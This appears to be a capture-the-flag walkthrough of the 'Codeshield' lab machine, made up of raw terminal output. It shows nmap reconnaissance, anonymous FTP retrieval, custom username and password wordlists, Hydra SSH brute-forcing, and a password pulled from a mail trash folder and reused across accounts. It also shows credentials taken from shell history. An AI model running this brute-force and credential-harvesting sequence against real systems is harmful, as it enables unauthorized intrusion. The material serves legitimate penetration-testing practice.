1
┌──(root㉿kali)-[/home/kali]
2
└─# arp-scan -l | grep "08:00:27"
3
192.168.0.100   08:00:27:21:94:af       (Unknown)

1
┌──(root㉿kali)-[/home/kali]
2
└─# nmap -Pn -sTCV -T4 -p0-65535 192.168.0.100
3
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-12 01:17 EST
4
Nmap scan report for 192.168.0.100
5
Host is up (0.0011s latency).
6
Not shown: 65522 closed tcp ports (conn-refused)
7
PORT      STATE SERVICE       VERSION
8
21/tcp    open  ftp           vsftpd 3.0.5
9
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
10
| -rw-rw-r--    1 1002     1002      2349914 Aug 30  2023 CodeShield_pitch_deck.pdf
11
| -rw-rw-r--    1 1003     1003        67520 Aug 28  2023 Information_Security_Policy.pdf
12
|_-rw-rw-r--    1 1004     1004       226435 Aug 28  2023 The_2023_weak_password_report.pdf
13
| ftp-syst:
14
|   STAT:
15
| FTP server status:
16
|      Connected to ::ffff:192.168.0.106
17
|      Logged in as ftp
18
|      TYPE: ASCII
19
|      No session bandwidth limit
20
|      Session timeout in seconds is 300
21
|      Control connection is plain text
22
|      Data connections will be plain text
23
|      At session startup, client count was 2
24
|      vsFTPd 3.0.5 - secure, fast, stable
25
|_End of status
26
22/tcp    open  ssh           OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
27
| ssh-hostkey:
28
|   2048 32:14:67:32:02:7a:b6:e4:7f:a7:22:0b:02:fd:ee:07 (RSA)
29
|   256 34:e4:d0:5d:bd:bc:9e:3f:4c:f9:1e:7d:3c:60:ce:6e (ECDSA)
30
|_  256 ef:3c:ff:f9:9a:a3:aa:7d:5a:82:73:b9:8c:b8:97:04 (ED25519)
31
25/tcp    open  smtp          Postfix smtpd
32
|_smtp-commands: SMTP: EHLO 521 5.5.1 Protocol error\x0D
33
80/tcp    open  http          nginx
34
|_http-title: Did not follow redirect to https://192.168.0.100/
35
110/tcp   open  pop3          Dovecot pop3d
36
| ssl-cert: Subject: commonName=mail.codeshield.hmv/organizationName=mail.codeshield.hmv/stateOrProvinceName=GuangDong/countryName=CN
37
| Not valid before: 2023-08-26T09:34:43
38
|_Not valid after:  2033-08-23T09:34:43
39
|_ssl-date: TLS randomness does not represent time
40
|_pop3-capabilities: AUTH-RESP-CODE SASL STLS PIPELINING TOP CAPA RESP-CODES UIDL
41
143/tcp   open  imap          Dovecot imapd (Ubuntu)
42
| ssl-cert: Subject: commonName=mail.codeshield.hmv/organizationName=mail.codeshield.hmv/stateOrProvinceName=GuangDong/countryName=CN
43
| Not valid before: 2023-08-26T09:34:43
44
|_Not valid after:  2033-08-23T09:34:43
45
|_ssl-date: TLS randomness does not represent time
46
|_imap-capabilities: post-login IMAP4rev1 listed Pre-login have more ENABLE capabilities ID OK LOGIN-REFERRALS LOGINDISABLEDA0001 SASL-IR IDLE LITERAL+ STARTTLS
47
443/tcp   open  ssl/http      nginx
48
| ssl-cert: Subject: commonName=mail.codeshield.hmv/organizationName=mail.codeshield.hmv/stateOrProvinceName=GuangDong/countryName=CN
49
| Not valid before: 2023-08-26T09:34:43
50
|_Not valid after:  2033-08-23T09:34:43
51
| http-robots.txt: 1 disallowed entry
52
|_/
53
|_ssl-date: TLS randomness does not represent time
54
|_http-title: CodeShield - Home
55
465/tcp   open  ssl/smtp      Postfix smtpd
56
| ssl-cert: Subject: commonName=mail.codeshield.hmv/organizationName=mail.codeshield.hmv/stateOrProvinceName=GuangDong/countryName=CN
57
| Not valid before: 2023-08-26T09:34:43
58
|_Not valid after:  2033-08-23T09:34:43
59
|_ssl-date: TLS randomness does not represent time
60
|_smtp-commands: mail.codeshield.hmv, PIPELINING, SIZE 15728640, ETRN, AUTH PLAIN LOGIN, ENHANCEDSTATUSCODES, 8BITMIME, DSN, CHUNKING
61
587/tcp   open  smtp          Postfix smtpd
62
|_ssl-date: TLS randomness does not represent time
63
|_smtp-commands: mail.codeshield.hmv, PIPELINING, SIZE 15728640, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, CHUNKING
64
| ssl-cert: Subject: commonName=mail.codeshield.hmv/organizationName=mail.codeshield.hmv/stateOrProvinceName=GuangDong/countryName=CN
65
| Not valid before: 2023-08-26T09:34:43
66
|_Not valid after:  2033-08-23T09:34:43
67
993/tcp   open  imaps?
68
|_ssl-date: TLS randomness does not represent time
69
|_imap-capabilities: post-login IMAP4rev1 listed Pre-login have more ENABLE capabilities ID OK LOGIN-REFERRALS AUTH=LOGINA0001 SASL-IR IDLE LITERAL+ AUTH=PLAIN
70
| ssl-cert: Subject: commonName=mail.codeshield.hmv/organizationName=mail.codeshield.hmv/stateOrProvinceName=GuangDong/countryName=CN
71
| Not valid before: 2023-08-26T09:34:43
72
|_Not valid after:  2033-08-23T09:34:43
73
995/tcp   open  pop3s?
74
| ssl-cert: Subject: commonName=mail.codeshield.hmv/organizationName=mail.codeshield.hmv/stateOrProvinceName=GuangDong/countryName=CN
75
| Not valid before: 2023-08-26T09:34:43
76
|_Not valid after:  2033-08-23T09:34:43
77
|_ssl-date: TLS randomness does not represent time
78
|_pop3-capabilities: AUTH-RESP-CODE USER SASL(PLAIN LOGIN) PIPELINING TOP CAPA RESP-CODES UIDL
79
2222/tcp  open  ssh           OpenSSH 6.0p1 Debian 4+deb7u2 (protocol 2.0)
80
| ssh-hostkey:
81
|   2048 32:14:67:32:02:7a:b6:e4:7f:a7:22:0b:02:fd:ee:07 (RSA)
82
|   256 34:e4:d0:5d:bd:bc:9e:3f:4c:f9:1e:7d:3c:60:ce:6e (ECDSA)
83
|_  256 ef:3c:ff:f9:9a:a3:aa:7d:5a:82:73:b9:8c:b8:97:04 (ED25519)
84
3389/tcp  open  ms-wbt-server xrdp
85
22222/tcp open  ssh           OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
86
| ssh-hostkey:
87
|   256 2a:49:28:84:25:99:62:e8:29:68:88:d6:36:be:8e:d6 (ECDSA)
88
|_  256 20:9f:5b:3f:52:eb:a9:60:27:39:3b:e7:d8:17:8d:70 (ED25519)
89
Service Info: Hosts: -mail.codeshield.hmv,  mail.codeshield.hmv; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
90

91
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
92
Nmap done: 1 IP address (1 host up) scanned in 26.67 seconds

1
192.168.0.100 mail.codeshield.hmv

1
┌──(root㉿kali)-[/home/kali/Desktop/hmv/Codeshield]
2
└─# ftp 192.168.0.100
3
Connected to 192.168.0.100.
4
220 (vsFTPd 3.0.5)
5
Name (192.168.0.100:kali): anonymous
6
331 Please specify the password.
7
Password:
8
230 Login successful.
9
Remote system type is UNIX.
10
Using binary mode to transfer files.
11
ftp> mget *
12
mget CodeShield_pitch_deck.pdf [anpqy?]?
13
229 Entering Extended Passive Mode (|||65107|)
14
150 Opening BINARY mode data connection for CodeShield_pitch_deck.pdf (2349914 bytes).
15
100% |***************************************************************|  2294 KiB  147.58 MiB/s    00:00 ETA
16
226 Transfer complete.
17
2349914 bytes received in 00:00 (144.86 MiB/s)
18
mget Information_Security_Policy.pdf [anpqy?]?
19
229 Entering Extended Passive Mode (|||46568|)
20
150 Opening BINARY mode data connection for Information_Security_Policy.pdf (67520 bytes).
21
100% |***************************************************************| 67520      314.10 MiB/s    00:00 ETA
22
226 Transfer complete.
23
67520 bytes received in 00:00 (124.06 MiB/s)
24
mget The_2023_weak_password_report.pdf [anpqy?]?
25
229 Entering Extended Passive Mode (|||35440|)
26
150 Opening BINARY mode data connection for The_2023_weak_password_report.pdf (226435 bytes).
27
100% |***************************************************************|   221 KiB  182.69 MiB/s    00:00 ETA
28
226 Transfer complete.
29
226435 bytes received in 00:00 (146.60 MiB/s)
30
ftp> bye
31
221 Goodbye.

1
jessica.carlson
2
j.carlson
3
jcarlson
4
admin
5
administrator
6
itadmin
7
support
8
helpdesk
9
finance
10
invest
11
hr
12
ceo

1
jessica
2
carlson
3
codeshield
4
guest
5
test
6
user
7
info
8
sales
9
marketing
10
security

1
Password123!
2
Password12345
3
Hairdresser1!
4
Greatplace2work!
5
Xxxxxxxxx001
6
Xxxxxxxxx002
7
Xxxxxxxxxx01
8
1qa2ws3ed4rf

1
Yoda123!
2
Starwars123
3
Loki2023!
4
Thor2023
5
Batman123!
6
Matrix123
7
Rocky2023
8
Ironman!

1
Summer2023!
2
May2023!
3
August2023!
4
Winter2022!

1
Jessica2023!
2
Carlson2023!
3
Jessica@123
4
Carlson@123
5
Welcome123!
6
Welcome@2023

1
admin123!
2
admin@123
3
Admin2023!
4
Root123!
5
P@ssw0rd
6
ChangeMe123!

1
Angelina Johnson
2
John Doe
3
Bob Watson
4
Jennifer Cruise
5
Jessica Carlson
6
Mohammed Mansour
7
Xian Tan
8
Annabella Cocci
9
Thomas Mitchell
10
Patrick Early
11
Kevin Valdez
12

13

14
Angelina
15
Johnson
16
John
17
Doe
18
Bob
19
Watson
20
Jennifer
21
Cruise
22
Jessica
23
Carlson
24
Mohammed
25
Mansour
26
Xian
27
Tan
28
Annabella
29
Cocci
30
Thomas
31
Mitchell
32
Patrick
33
Early
34
Kevin
35
Valdez
36

37
angelina
38
johnson
39
john
40
doe
41
bob
42
watson
43
jennifer
44
cruise
45
jessica
46
carlson
47
mohammed
48
mansour
49
xian
50
tan
51
annabella
52
cocci
53
thomas
54
mitchell
55
patrick
56
early
57
kevin
58
valdez

1
[22][ssh] host: 192.168.0.100   password: Password123!
2
[STATUS] attack finished for 192.168.0.100 (valid pair found)
3
1 of 1 target successfully completed, 1 valid password found
4
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-12 03:44:18

1
┌──(root㉿kali)-[/home/kali/Desktop/hmv/Codeshield]
2
└─# ssh 192.168.0.100
3
The authenticity of host '192.168.0.100 (192.168.0.100)' can't be established.
4
ED25519 key fingerprint is SHA256:p41YgA92zNuiXv+R9wkRqYw3Z4EChD83xgSfLoouuFw.
5
This key is not known by any other names.
6
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
7
Warning: Permanently added '192.168.0.100' (ED25519) to the list of known hosts.
8
root@192.168.0.100's password:
9

10
The programs included with the Debian GNU/Linux system are free software;
11
the exact distribution terms for each program are described in the
12
individual files in /usr/share/doc/*/copyright.
13

14
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
15
permitted by applicable law.
16
root@svr04:~#

1
┌──(root㉿kali)-[/home/kali/Desktop/hmv/Codeshield]
2
└─# hydra -L users.txt -P passwd.txt ssh://192.168.0.100 -f -V -s 22222
3
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
4

5
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-12 03:54:47

1
┌──(root㉿kali)-[/home/kali/Desktop/hmv/Codeshield]
2
└─# cat users.txt
3
Angelina Johnson
4
John Doe
5
Bob Watson
6
Jennifer Cruise
7
Jessica Carlson
8
Mohammed Mansour
9
Xian Tan
10
Annabella Cocci
11
Thomas Mitchell
12
Patrick Early
13
Kevin Valdez

1
┌──(root㉿kali)-[/home/kali/Desktop/tools/username-anarchy]
2
└─# ./username-anarchy --input-file ../../hmv/Codeshield/users.txt > anarchy_users

1
──(root㉿kali)-[/home/kali/Desktop/hmv/Codeshield]
2
└─# hydra -L anarchy_users -P passwd.txt ssh://192.168.0.100 -f -s 22222 -V
3
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
4

5
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-12 04:35:09
6
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
7
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
8
[DATA] max 16 tasks per 1 server, overall 16 tasks, 5115 login tries (l:155/p:33), ~320 tries per task
9
[DATA] attacking ssh://192.168.0.100:22222/

1
┌──(root㉿kali)-[/home/kali/Desktop/hmv/Codeshield]
2
└─# ssh valdezk@192.168.0.100 -p 22222
3
The authenticity of host '[192.168.0.100]:22222 ([192.168.0.100]:22222)' can't be established.
4
ED25519 key fingerprint is SHA256:Y+iV2eHvzSBp6ZbF+2VqTJdZ5+XyH5tVaxNCzS7tp3I.
5
This key is not known by any other names.
6
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
7
Warning: Permanently added '[192.168.0.100]:22222' (ED25519) to the list of known hosts.
8
             @@@
9
      @@@@@@@@@  @@@@@@
10
 @@@@@@@@@@@@@@          (@@
11
 @@@@@@@@@@@@@@           @@    ██████╗ ██████╗ ██████╗ ███████╗███████╗██╗  ██╗██╗███████╗██╗     ██████╗
12
 @@@@@@@@@@@@@@           @@   ██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔════╝██║  ██║██║██╔════╝██║     ██╔══██╗
13
  @@@@@@@@@@@@@          @@    ██║     ██║   ██║██║  ██║█████╗  ███████╗███████║██║█████╗  ██║     ██║  ██║
14
  @@@@@@@@@@@@@         @@@    ██║     ██║   ██║██║  ██║██╔══╝  ╚════██║██╔══██║██║██╔══╝  ██║     ██║  ██║
15
    @@@@@@@@@@@        @@      ╚██████╗╚██████╔╝██████╔╝███████╗███████║██║  ██║██║███████╗███████╗██████╔╝
16
     @@@@@@@@@@      @@@        ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚══════╝╚═╝  ╚═╝╚═╝╚══════╝╚══════╝╚═════╝
17
        @@@@@@@   @@@
18
           @@@@@@@
19

20
  _______________________________________________________________________________________________________
21
 |  _WARNING: This system is restricted to authorized users!___________________________________________  |
22
 | |                                                                                                   | |
23
 | | IT IS AN OFFENSE TO CONTINUE WITHOUT PROPER AUTHORIZATION.                                        | |
24
 | |                                                                                                   | |
25
 | | This system is restricted to authorized users.                                                    | |
26
 | | Individuals who attempt unauthorized access will be prosecuted.                                   | |
27
 | | If you're unauthorized, terminate access now!                                                     | |
28
 | |                                                                                                   | |
29
 | |                                                                                                   | |
30
 | |___________________________________________________________________________________________________| |
31
 |_______________________________________________________________________________________________________|
32
valdezk@192.168.0.100's password:
33
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-79-generic x86_64)
34

35
 * Documentation:  https://help.ubuntu.com
36
 * Management:     https://landscape.canonical.com
37
 * Support:        https://ubuntu.com/advantage
38

39
  System information as of Mon Jan 12 09:38:38 AM UTC 2026
40

41
  System load:  0.01416015625      Processes:               235
42
  Usage of /:   29.3% of 47.93GB   Users logged in:         0
43
  Memory usage: 58%                IPv4 address for enp0s3: 192.168.0.100
44
  Swap usage:   0%
45

46
 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
47
   just raised the bar for easy, resilient and secure K8s cluster deployment.
48

49
   https://ubuntu.com/engage/secure-kubernetes-at-the-edge
50

51
Expanded Security Maintenance for Applications is not enabled.
52

53
10 updates can be applied immediately.
54
To see these additional updates run: apt list --upgradable
55

56
Enable ESM Apps to receive additional future security updates.
57
See https://ubuntu.com/esm or run: sudo pro status
58

59

60
The list of available updates is more than a week old.
61
To check for new updates run: sudo apt update
62
New release '24.04.3 LTS' available.
63
Run 'do-release-upgrade' to upgrade to it.
64

65

66
valdezk@codeshield:~$

1
valdezk@codeshield:~$ grep -ri password
2
[...]
3
.thunderbird/fx2h7mhy.default-release/ImapMail/mail.codeshield.hmv/Trash:Password: D@taWh1sperer!
4
[...]

1
hydra -L anarchy_users -p 'D@taWh1sperer!' ssh://192.168.0.100 -s 22222 -f -V
2

3
[ATTEMPT] target 192.168.0.100 - login "mitchellt" - pass "D@taWh1sperer!" - 122 of 156 [child 11] (0/1)
4
[22222][ssh] host: 192.168.0.100   login: mitchellt   password: D@taWh1sperer!
5
[STATUS] attack finished for 192.168.0.100 (valid pair found)
6
1 of 1 target successfully completed, 1 valid password found
7
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-12 04:48:23

1
valdezk@codeshield:~$ su mitchellt
2
Password:
3
mitchellt@codeshield:/home/valdezk$

1
mitchellt@codeshield:/home$ cd ~
2
mitchellt@codeshield:~$ cat user.txt
3
             @@@
4
      @@@@@@@@@  @@@@@@
5
 @@@@@@@@@@@@@@          (@@
6
 @@@@@@@@@@@@@@           @@    ██████╗ ██████╗ ██████╗ ███████╗███████╗██╗  ██╗██╗███████╗██╗     ██████╗
7
 @@@@@@@@@@@@@@           @@   ██╔════╝██╔═══██╗██╔══██╗██╔════╝██╔════╝██║  ██║██║██╔════╝██║     ██╔══██╗
8
  @@@@@@@@@@@@@          @@    ██║     ██║   ██║██║  ██║█████╗  ███████╗███████║██║█████╗  ██║     ██║  ██║
9
  @@@@@@@@@@@@@         @@@    ██║     ██║   ██║██║  ██║██╔══╝  ╚════██║██╔══██║██║██╔══╝  ██║     ██║  ██║
10
    @@@@@@@@@@@        @@      ╚██████╗╚██████╔╝██████╔╝███████╗███████║██║  ██║██║███████╗███████╗██████╔╝
11
     @@@@@@@@@@      @@@        ╚═════╝ ╚═════╝ ╚═════╝ ╚══════╝╚══════╝╚═╝  ╚═╝╚═╝╚══════╝╚══════╝╚═════╝
12
        @@@@@@@   @@@
13
           @@@@@@@
14

15
  _______________________________________________________________________________________________________
16
 |  _USER FLAG!________________________________________________________________________________________  |
17
 | |                                                                                                   | |
18
 | | Your_password_is_the_key_to_your_digital_life                                                     | |
19
 | |                                                                                                   | |
20
 | |___________________________________________________________________________________________________| |
21
 |_______________________________________________________________________________________________________|

1
mitchellt@codeshield:/home$ history
2
    1  echo 'EARL!YP7DeVel@OP'| su - earlyp -c "cp -r /home/earlyp/Development/mining ."
3
    2  echo 'EARL!YP7DeVel@OP'| su - earlyp -c "cp -r /home/earlyp/Development/mining /tmp"

1
earlyp@codeshield:~$ cd Documents
2
earlyp@codeshield:~/Documents$ ls
3
Passwords.kdbx